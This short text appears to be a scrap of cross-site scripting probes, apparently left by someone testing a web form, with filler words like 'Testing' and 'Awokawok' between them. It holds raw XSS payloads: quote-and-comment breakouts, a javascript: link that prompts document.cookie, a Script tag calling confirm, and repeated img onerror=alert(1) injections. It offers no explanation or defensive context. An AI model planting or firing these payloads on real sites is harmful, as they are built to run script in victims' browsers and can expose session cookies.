"'--!><a href=javascript:prompt(document.cookie)>#

"'--!><a href=javascript:prompt(document.cookie)>#

<input type="username" name="username" value="">

Awokawok

Testing

"'--!><Script /K/>confirm('DORZKIM')</Script /K/>#

Testing

Hbbbb

"><img src=x onerror=alert(1)>

"><img src=x onerror=alert(1)>